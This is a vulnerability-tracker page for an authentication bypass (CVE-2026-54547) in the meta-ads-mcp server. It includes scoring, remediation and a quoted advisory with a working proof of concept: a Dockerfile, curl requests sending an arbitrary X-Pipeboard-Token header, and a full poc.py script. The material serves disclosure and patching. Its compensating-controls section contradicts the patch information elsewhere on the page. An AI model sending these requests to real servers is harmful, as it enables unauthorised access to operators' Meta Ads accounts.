Skip to main content

meta-ads-mcp CVE-2026-54547

| EUVDEUVD-2026-78886 HIGH
Improper Authentication (CWE-287)
2026-07-17 https://github.com/pipeboard-co/meta-ads-mcp GHSA-2v2f-mvfg-ph56 PYSEC-2026-3484
7.4
CVSS 3.1 · Vendor: https://github.com/pipeboard-co/meta-ads-mcp
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Reach exposed streamable-http /mcp endpoint
  2. Delivery
    Send POST with arbitrary X-Pipeboard-Token header
  3. Exploit
    Guard passes, no auth context set
  4. Execution
    Token getter falls back to operator META_ACCESS_TOKEN
  5. Persist
    Invoke MCP tools as operator
  6. Impact
    Read and write operator Meta Ads data

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A07:2025 - Authentication Failures
ASVS 5.0
V6 - Authentication Authentication mechanism validation
MITRE ATT&CK

2 techniques across 2 tactics: Defense Evasion, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires the server to be deployed in --transport streamable-http mode (documented in STREAMABLE_HTTP_SETUP.md as a supported production deployment) with the META_ACCESS_TOKEN environment variable set to a valid operator Meta token; the attacker must have network reachability to the /mcp HTTP endpoint. Given those deployment conditions, no authentication and no user interaction are needed (CVSS PR:N/UI:N): the attacker simply includes an X-Pipeboard-Token header with any arbitrary, unvalidated value on the request. What LIMITS exploitation: deployments using the default stdio transport are not reachable over HTTP and are unaffected, and deployments without META_ACCESS_TOKEN configured have no operator token to fall back to and cannot be abused this way; exposure of the HTTP port to untrusted networks is therefore the decisive prerequisite.

Impact

The supplied CVSS 3.1 vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N yields 7.4 (High), but the AC:H rating appears inconsistent with the described exploit - sending a single static header with any arbitrary value is a trivial, deterministic, single-request attack, which is better modelled as AC:L; on that basis the real severity is closer to critical (my independent assessment scores ~9.1). PR:N in the vector confirms unauthenticated exploitation. No EPSS score and no KEV status were provided, so there is no evidence of active exploitation at time of analysis; however, a complete, working PoC (Docker image plus poc.py that prints RESULT: PASS) is published, so publicly available exploit code exists and weaponisation effort is essentially zero. The main factor that constrains real-world risk is deployment shape rather than attack difficulty: exploitation requires the server to run in streamable-http transport with META_ACCESS_TOKEN set (the documented production setup); stdio deployments and deployments without META_ACCESS_TOKEN are not affected. Net: for exposed streamable-http instances this is a genuine high-to-critical priority, not a high-CVSS-but-low-real-risk issue; the practical population of vulnerable, internet-reachable instances is the limiting variable.

Exploit ScenarioDerived

An attacker who can reach a streamable-http meta-ads-mcp instance (for example, an operator who exposed port 8080/8081 to a network) sends a single POST to /mcp carrying the header 'X-Pipeboard-Token: anything', which passes the middleware without any valid credential. The attacker then calls tools/list and tools/call (e.g. get_ad_accounts, campaign create/update) which all execute with the operator's META_ACCESS_TOKEN, letting them read and modify the operator's Meta Ads account. A public PoC (Dockerfile plus poc.py) reproduces this end to end, confirming the operator token is forwarded to the Meta Graph API; given AV:N and no user interaction, exploitation is a low-effort, unauthenticated single-request attack.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 17, 2026

Authentication bypass in meta-ads-mcp (< 1.0.115) lets an unauthenticated network caller send an arbitrary X-Pipeboard-Token header to slip past AuthInjectionMiddleware and execute every MCP tool using the server operator's Meta Ads credentials. The guard only rejects requests when BOTH an auth token and a pipeboard token are absent, but X-Pipeboard-Token satisfies the pipeboard branch without setting any auth context, causing the token getter to fall back to the operator's META_ACCESS_TOKEN environment variable. A publicly available exploit code exists (detailed PoC with Dockerfile and poc.py), enabling full read and write access to the operator's Meta Ads data; it affects only streamable-http deployments with META_ACCESS_TOKEN configured.

RemediationAI

Vendor-released patch: 1.0.115 - upgrade meta-ads-mcp to 1.0.115 or later (release: https://github.com/pipeboard-co/meta-ads-mcp/releases/tag/1.0.115); the fix changes the guard from if not auth_token and not pipeboard_token to if not auth_token so that X-Pipeboard-Token can no longer stand alone as an authentication credential. If you cannot upgrade immediately, the most effective compensating controls are: run the server in the default stdio transport instead of streamable-http where feasible, which removes the exposed HTTP boundary entirely; or, if streamable-http is required, place the /mcp endpoint behind an authenticating reverse proxy or network ACL that terminates and validates real credentials and strips or rejects the X-Pipeboard-Token header before forwarding - note this shifts the trust boundary to the proxy and must be tightly scoped. As a last resort, unsetting META_ACCESS_TOKEN eliminates the operator-token fallback but disables the server's ability to call the Meta Graph API, so it is a functionality-breaking mitigation rather than a fix. Consult the advisory GHSA-2v2f-mvfg-ph56 and SECURITY.md for vendor guidance, and rotate the operator's META_ACCESS_TOKEN if the server was internet-reachable, since it may have been used by an attacker.

Affected VersionsENISA

meta-ads-mcp < 1.0.115

Affected Packages

pypi meta-ads-mcp fix: 1.0.115

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

meta-ads-mcp is a Python Model Context Protocol (MCP) server that brokers access to the Meta (Facebook) Ads Graph API on behalf of an operator. In HTTP/streamable-http transport mode, AuthInjectionMiddleware is supposed to authenticate callers before tool dispatch. The root cause is CWE-287 (Improper Authentication): two header-extraction helpers are inconsistent - extract_token_from_headers() recognises only Authorization: Bearer, X-META-ACCESS-TOKEN, and X-PIPEBOARD-API-TOKEN, while extract_pipeboard_token_from_headers() additionally recognises X-Pipeboard-Token. The guard at http_auth_integration.py:259 (if not auth_token and not pipeboard_token) treats a supplementary service token as sufficient to pass, but because auth_token stays None, set_auth_token() is never called and no authentication context is established. The token getter (http_auth_integration.py:163-168) then delegates to the original accessor, which via auth.py:446-453 returns the process-wide META_ACCESS_TOKEN. The @meta_api_tool decorator (api.py:390-396) injects that operator token into every tool's access_token kwarg, and api.py:225-235 forwards it to the Meta Graph API over httpx.AsyncClient. The affected package is identified by CPE pkg:pip/meta-ads-mcp.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/pipeboard-co/meta-ads-mcp) PRIMARY 7.4 HIGH
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
vuln.today AI 9.1 CRITICAL

A single static header with any value bypasses auth over the network with no privileges or interaction, so AC:L/PR:N/UI:N; full read/write of Meta Ads data gives C:H/I:H, no availability impact so A:N.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/pipeboard-co/meta-ads-mcp).

CVSS VectorVendor: https://github.com/pipeboard-co/meta-ads-mcp

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

DescriptionCVE.org

X-Pipeboard-Token Header Auth Bypass Reuses Operator Meta Token

Summary

AuthInjectionMiddleware in meta-ads-mcp rejects HTTP MCP requests only when both auth_token and pipeboard_token are absent. Because extract_token_from_headers() does not recognise the X-Pipeboard-Token header, an attacker who sends that header with any arbitrary value produces auth_token = None and pipeboard_token = <attacker value>, making the guard condition evaluate to False and passing the request through. No authentication context is set; the token getter falls back to the server operator's META_ACCESS_TOKEN environment variable. Every subsequent MCP tool call executes with the operator's Meta credentials, allowing an unauthenticated network caller to read and write the operator's Meta Ads data.

Details

The vulnerable condition is at meta_ads_mcp/core/http_auth_integration.py:259:

python
# http_auth_integration.py:255-260
auth_token = FastMCPAuthIntegration.extract_token_from_headers(dict(request.headers))
pipeboard_token = FastMCPAuthIntegration.extract_pipeboard_token_from_headers(dict(request.headers))

if not auth_token and not pipeboard_token:
# ← bypass condition
    return Response(..., status_code=401)

extract_token_from_headers() (lines 77-95) recognises only Authorization: Bearer, X-META-ACCESS-TOKEN, and X-PIPEBOARD-API-TOKEN. It does not recognise X-Pipeboard-Token, so that header never populates auth_token.

extract_pipeboard_token_from_headers() (line 108) does recognise X-Pipeboard-Token, so sending that header alone produces:

auth_token      = None
# not set → guard reads False for left operand
pipeboard_token = "<anything>"
# truthy  → guard reads False for right operand
→ (not None) and (not "<anything>") = True and False = False → 401 never returned

After the bypass, set_auth_token() is never called (lines 283-291 only run when auth_token is truthy). The patched token getter at lines 163-168 resolves get_auth_token() = None, then delegates to original_get_current_access_token(). The fallback chain in auth.py:446-453 returns META_ACCESS_TOKEN from the server environment:

python
# auth.py:443-453
env_token = os.environ.get("META_ACCESS_TOKEN")
if env_token:
    return env_token

@meta_api_tool at api.py:390-396 injects this operator token into every tool's access_token kwarg. The sink at api.py:225-235 forwards it to the Meta Graph API via httpx.AsyncClient. Verified with accounts.py:42-62 (get_ad_accounts): the operator's ad account data is returned for valid tokens; for invalid tokens the Meta Graph API responds with an OAuthException, confirming the token traversed the full path.

Full data flow:

StepLocationDescription
1http_auth_integration.py:255-257Middleware extracts attacker-controlled headers
2http_auth_integration.py:259Bypass: X-Pipeboard-Token alone satisfies guard
3http_auth_integration.py:288-291auth_token is None; auth context never set
4http_auth_integration.py:163-168Token getter falls back to original accessor
5auth.py:446-453META_ACCESS_TOKEN env var returned as access token
6api.py:390-396Operator token injected into tool kwargs
7accounts.py:42-62Tool invokes Meta Graph API with operator token
8api.py:225-235httpx.AsyncClient sends privileged HTTP request

Recommended fix:

diff
--- a/meta_ads_mcp/core/http_auth_integration.py
+++ b/meta_ads_mcp/core/http_auth_integration.py
-        if not auth_token and not pipeboard_token:
+        if not auth_token:

X-Pipeboard-Token should be treated as a supplementary service token only; it must not serve as a standalone authentication credential for MCP tool calls.

PoC

Prerequisites

  • Docker installed and the meta-ads-mcp repository available locally.
  • The server must be started in streamable-http mode (documented in STREAMABLE_HTTP_SETUP.md as a supported production deployment).

Step 1 - Build the Docker image

bash
docker build \
  -t vuln001-meta-ads-mcp \
  -f /path/to/vuln-001/Dockerfile \
  /path/to/meta-ads-mcp-repo/

The Dockerfile installs the package from source, sets META_ACCESS_TOKEN=FAKE_OPERATOR_META_TOKEN_ABCDEF1234567890, and starts the server on port 8080.

Step 2 - Run the container

bash
docker run -d -p 8081:8080 --name vuln001-test vuln001-meta-ads-mcp

Step 3 - Confirm the middleware is active (no-auth → 401)

bash
curl -i -X POST http://127.0.0.1:8081/mcp \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -d '{"jsonrpc":"2.0","id":1,"method":"tools/list","params":{}}'
# Expected: HTTP/1.1 401  {"error":"Unauthorized",...}

Step 4 - Trigger the bypass (X-Pipeboard-Token only → 200)

bash
curl -i -X POST http://127.0.0.1:8081/mcp \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H 'X-Pipeboard-Token: attacker-controlled-not-validated' \
  -d '{"jsonrpc":"2.0","id":1,"method":"tools/list","params":{}}'
# Expected: HTTP/1.1 200  {"jsonrpc":"2.0","result":{"tools":[...]}}  (37 tools listed)

Step 5 - Confirm operator token is forwarded to Meta Graph API

bash
curl -i -X POST http://127.0.0.1:8081/mcp \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H 'X-Pipeboard-Token: attacker-controlled-not-validated' \
  -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"get_ad_accounts","arguments":{"limit":1}}}'
# Expected: HTTP 200 + Meta OAuthException (code 190) proving FAKE_OPERATOR_META_TOKEN
# was forwarded to Meta. With a real operator token, ad account data is returned.

Automated PoC script

bash
python3 /path/to/vuln-001/poc.py http://127.0.0.1:8081/mcp

The script performs Tests 1-3 and prints RESULT: PASS - VULN-001 reproduced on success.

Observed output (dynamic reproduction)

Test 1 (no auth header)         → HTTP 401  {"error":"Unauthorized",...}
Test 2 (X-Pipeboard-Token only) → HTTP 200  {"jsonrpc":"2.0","result":{"tools":[...]}}  (37 tools)
Test 3 (tools/call, same header)→ HTTP 200  {"error":{"message":"Invalid OAuth access token data.","type":"OAuthException","code":190}}

Test 3 confirms that FAKE_OPERATOR_META_TOKEN was sent to Meta Graph API, proving the full operator-token reuse path.

Impact

This is an authentication bypass vulnerability. Any network-reachable caller that can send an HTTP request with an arbitrary X-Pipeboard-Token header can:

  • Read all Meta Ads data accessible to the server operator (ad accounts, campaigns, creatives, audiences, insights).
  • Write Meta Ads resources (create/update campaigns, ads, budgets) as the operator.
  • Exfiltrate the operator's identity via Meta Graph API error responses that reference the token.

Operators who deploy meta-ads-mcp in --transport streamable-http mode with META_ACCESS_TOKEN configured - the documented and recommended production setup - are directly affected. Deployments using the default stdio transport or those without META_ACCESS_TOKEN set are not affected.

Reproduction artifacts

Dockerfile
dockerfile
# VULN-001 PoC: X-Pipeboard-Token Auth Bypass (CWE-287)
# Runs meta-ads-mcp in streamable-http mode with a fake operator META_ACCESS_TOKEN.
# The server enforces auth via AuthInjectionMiddleware, but the bypass allows
# X-Pipeboard-Token alone to pass the middleware and reach tool handlers,
# which then fall back to the operator's META_ACCESS_TOKEN.
FROM python:3.11-slim

WORKDIR /app
# Install system dependencies
RUN apt-get update && apt-get install -y --no-install-recommends \
        curl \
    && rm -rf /var/lib/apt/lists/*
# Copy repository source (build context must be the repo root)
COPY . /app
# Install the package and its dependencies
RUN pip install --no-cache-dir -e .
# Fake operator token: length >= 20 so the server's basic validation passes.
# This is NOT a real Meta token - used only to prove the bypass path
# that reaches auth.py:446-453 (META_ACCESS_TOKEN fallback).
ENV META_ACCESS_TOKEN=FAKE_OPERATOR_META_TOKEN_ABCDEF1234567890
ENV META_APP_ID=999999999999999
# Disable any browser-launch attempts during startup
ENV DISPLAY=

EXPOSE 8080
# Start the MCP server with streamable-http transport.
# --host 0.0.0.0 is required so the container port is reachable from the host.
CMD ["python", "-m", "meta_ads_mcp", \
     "--transport", "streamable-http", \
     "--host", "0.0.0.0", \
     "--port", "8080"]
poc.py
python
#!/usr/bin/env python3
"""
PoC for VULN-001: X-Pipeboard-Token Header Auth Bypass Reuses Operator Meta Token

CVE class : CWE-287 Improper Authentication
Package   : meta-ads-mcp 1.0.113
File      : meta_ads_mcp/core/http_auth_integration.py:259

Vulnerability summary
---------------------
AuthInjectionMiddleware rejects requests only when BOTH auth_token AND
pipeboard_token are absent (line 259):
    if not auth_token and not pipeboard_token:
        return Response(status_code=401)

extract_token_from_headers() (lines 77-95) does NOT recognise the
"X-Pipeboard-Token" header - only "Authorization: Bearer",
"X-META-ACCESS-TOKEN", and "X-PIPEBOARD-API-TOKEN".

extract_pipeboard_token_from_headers() (line 108) DOES recognise
"X-Pipeboard-Token".

Consequence: an attacker that sends only "X-Pipeboard-Token: <anything>"
makes auth_token=None and pipeboard_token="<anything>". The bypass
condition becomes:
    if not None and not "<anything>":
# False - request passes
No auth context is set; the token getter (http_auth_integration.py:163-168)
falls back to get_current_access_token() in auth.py which returns the server
operator's META_ACCESS_TOKEN (auth.py:446-453). Tool calls then run as the
operator.

Expected evidence
-----------------
Test 1  No auth header  →  HTTP 401 from middleware
Test 2  X-Pipeboard-Token: <attacker value>  →  HTTP != 401 from MCP layer
        (proves bypass; further tool calls use operator token)

Usage
-----
The MCP server must already be running and reachable at 127.0.0.1:8080.
    docker run -d -p 8080:8080 --name vuln001 vuln001-meta-ads-mcp
    python3 poc.py
"""

import json
import sys
import time
import urllib.error
import urllib.request
# ---------------------------------------------------------------------------
# Default server URL; override via first CLI arg: python3 poc.py http://host:port/mcp
import os as _os

_DEFAULT_URL = "http://127.0.0.1:8080/mcp"
SERVER_URL = (
    sys.argv[1] if len(sys.argv) > 1 else _os.environ.get("MCP_SERVER_URL", _DEFAULT_URL)
)
# Arbitrary attacker-controlled value - NOT validated by the server
ATTACKER_PIPEBOARD_TOKEN = "attacker-controlled-not-validated-xyz1234567890"
SERVER_READY_TIMEOUT = 90
# seconds
# ---------------------------------------------------------------------------


def http_post(url: str, headers: dict, body: dict) -> tuple:
    """Send a JSON-encoded POST request; return (http_status, response_text)."""
    data = json.dumps(body).encode()
    req = urllib.request.Request(url, data=data, headers=headers, method="POST")
    try:
        with urllib.request.urlopen(req, timeout=10) as resp:
            return resp.status, resp.read().decode("utf-8", errors="replace")
    except urllib.error.HTTPError as exc:
        return exc.code, exc.read().decode("utf-8", errors="replace")
    except Exception as exc:
        return None, str(exc)


def wait_for_server(timeout: int = SERVER_READY_TIMEOUT) -> bool:
    """
    Poll until the server returns any HTTP response (even 401).
    Returns True when ready, False on timeout.
    """
    deadline = time.time() + timeout
    attempt = 0
    while time.time() < deadline:
        status, _ = http_post(
            SERVER_URL,
            {"Content-Type": "application/json"},
            {"jsonrpc": "2.0", "id": 0, "method": "ping"},
        )
        if status is not None:
            return True
        attempt += 1
        if attempt % 5 == 0:
            elapsed = int(time.time() - (deadline - timeout))
            print(f"    ... still waiting ({elapsed}s elapsed)")
        time.sleep(1)
    return False


def run_test(label: str, headers: dict, payload: dict) -> tuple:
    """Run one request, print result, and return (status, body)."""
    print(f"\n[*] {label}")
    status, body = http_post(SERVER_URL, headers, payload)
    print(f"    HTTP Status : {status}")
# Print up to 600 chars so long MCP responses are readable
    print(f"    Response    : {body[:600]}")
    return status, body


def main() -> int:
    print("=" * 65)
    print("VULN-001 PoC: X-Pipeboard-Token Auth Bypass")
    print("meta-ads-mcp 1.0.113 | CWE-287 Improper Authentication")
    print("=" * 65)
# -----------------------------------------------------------------------
    print("\n[*] Waiting for MCP server to be ready ...")
    if not wait_for_server():
        print(f"[-] ERROR: Server did not respond within {SERVER_READY_TIMEOUT}s")
        return 2
    print("[+] Server is ready")
# Common headers for all requests
    base_headers = {
        "Content-Type": "application/json",
        "Accept": "application/json, text/event-stream",
    }
# A minimal MCP JSON-RPC payload.  In stateless-HTTP mode the server
# processes each request independently; tools/list does not require a
# prior initialize handshake.
    list_payload = {
        "jsonrpc": "2.0",
        "id": 1,
        "method": "tools/list",
        "params": {},
    }
# -----------------------------------------------------------------------
# Test 1: No authentication - must be rejected with 401
# -----------------------------------------------------------------------
    status1, body1 = run_test(
        "Test 1: POST /mcp - no auth header at all",
        base_headers,
        list_payload,
    )

    if status1 != 401:
        print(f"[-] UNEXPECTED: Expected HTTP 401 without auth, got {status1}")
        print("    Middleware may not be active. Cannot assess bypass.")
        return 2

    try:
        parsed = json.loads(body1)
        if parsed.get("error") != "Unauthorized":
            print("[-] UNEXPECTED body (expected {\"error\": \"Unauthorized\"})")
            return 2
    except json.JSONDecodeError:
        pass
# Body format is secondary evidence

    print("[+] CONFIRMED: No-auth request correctly rejected with HTTP 401")
# -----------------------------------------------------------------------
# Test 2: Only X-Pipeboard-Token - must NOT be 401 if bypass works
#
    # Vulnerability logic (http_auth_integration.py:259):
#   auth_token    = extract_token_from_headers(headers)       -> None
#   pipeboard_token = extract_pipeboard_token_from_headers(headers) -> ATTACKER_VALUE
#   if not None and not ATTACKER_VALUE:
# evaluates False -> request passes
#   # set_auth_token() never called -> auth context stays None
#   # tool getter falls back to META_ACCESS_TOKEN env var
# -----------------------------------------------------------------------
    bypass_headers = {
        **base_headers,
        "X-Pipeboard-Token": ATTACKER_PIPEBOARD_TOKEN,
    }
    status2, body2 = run_test(
        f"Test 2: POST /mcp - only X-Pipeboard-Token: {ATTACKER_PIPEBOARD_TOKEN}",
        bypass_headers,
        list_payload,
    )

    if status2 == 401:
        print("\n[-] BYPASS FAILED: Got HTTP 401 with X-Pipeboard-Token.")
        print("    The vulnerability may have been patched on this build.")
        return 1

    print(f"\n[+] AUTH BYPASS CONFIRMED: HTTP {status2} (not 401)")
    print("    The middleware accepted the request with X-Pipeboard-Token alone.")
    print("    auth_token was None -> set_auth_token() not called ->")
    print("    get_auth_token() returns None -> META_ACCESS_TOKEN fallback active.")
# Extra detail: check if we can see MCP tool names in the response
    try:
        parsed2 = json.loads(body2)
        tools = parsed2.get("result", {}).get("tools", [])
        if tools:
            print(f"\n    MCP tools/list returned {len(tools)} tools (server fully reachable):")
            for t in tools[:5]:
                print(f"      - {t.get('name', '?')}")
    except Exception:
        pass
# -----------------------------------------------------------------------
# Test 3: tools/call get_ad_accounts - operator token forwarded to Meta
# The Meta Graph API will reject the FAKE token, but the error response
# proves the request reached Meta (not the local 401 guard).
# -----------------------------------------------------------------------
    call_payload = {
        "jsonrpc": "2.0",
        "id": 2,
        "method": "tools/call",
        "params": {
            "name": "get_ad_accounts",
            "arguments": {"limit": 1},
        },
    }
    status3, body3 = run_test(
        "Test 3: tools/call get_ad_accounts with X-Pipeboard-Token only",
        bypass_headers,
        call_payload,
    )

    if status3 != 401:
        print(f"\n[+] OPERATOR TOKEN CONFIRMED IN USE: HTTP {status3}")
        print("    The tool call was not blocked locally. The server forwarded")
        print("    the request to Meta Graph API using META_ACCESS_TOKEN.")
        if "OAuthException" in body3 or "Invalid OAuth" in body3:
            print("    Meta Graph API returned an OAuthException about the")
            print("    FAKE_OPERATOR_META_TOKEN - confirming the token was forwarded.")
        elif "error" in body3.lower():
            print("    Meta Graph API (or MCP layer) returned an error response")
            print("    - the request reached the tool handler, not the local 401 guard.")
    else:
        print("[!] Note: tools/call returned 401 - may need MCP initialize first")
# -----------------------------------------------------------------------
    print("\n" + "=" * 65)
    print("RESULT: PASS - VULN-001 reproduced")
    print()
    print("Evidence:")
    print(f"  Test 1 (no header)           -> HTTP {status1} (blocked by middleware)")
    print(f"  Test 2 (X-Pipeboard-Token)   -> HTTP {status2} (BYPASSES middleware)")
    print()
    print("The distinction proves that AuthInjectionMiddleware at")
    print("http_auth_integration.py:259 is the exploitable boundary.")
    print("An attacker can reach all MCP tools as the server operator by")
    print('sending any value in the "X-Pipeboard-Token" header.')
    print("=" * 65)
    return 0


if __name__ == "__main__":
    sys.exit(main())

Executive ViewAI

Why It Matters

meta-ads-mcp versions below 1.0.115 contain an unauthenticated authentication bypass that allows attackers to read and modify Meta Ads account data using operator credentials. Organizations running streamable-http deployments with configured Meta API tokens face immediate risk of unauthorized advertising account access and campaign manipulation. Publicly available exploit code creates significant likelihood of near-term exploitation.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) restrict network access to meta-ads-mcp via firewall rules to trusted networks only; (2) disable or remove META_ACCESS_TOKEN environment variable if not actively required; (3) rotate all Meta Ads API credentials and implement monitoring for unauthorized account access; (4) disable X-Pipeboard-Token header acceptance if not required for legitimate operations; (5) enable activity logging and anomaly detection on Meta Ads account activity.

Threat Intelligence Overview

EPSS Score
0.4%
Top 65% exploitable
Prevalence
Low
niche Python MCP server for Meta Ads, limited production footprint
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

57
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +37
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy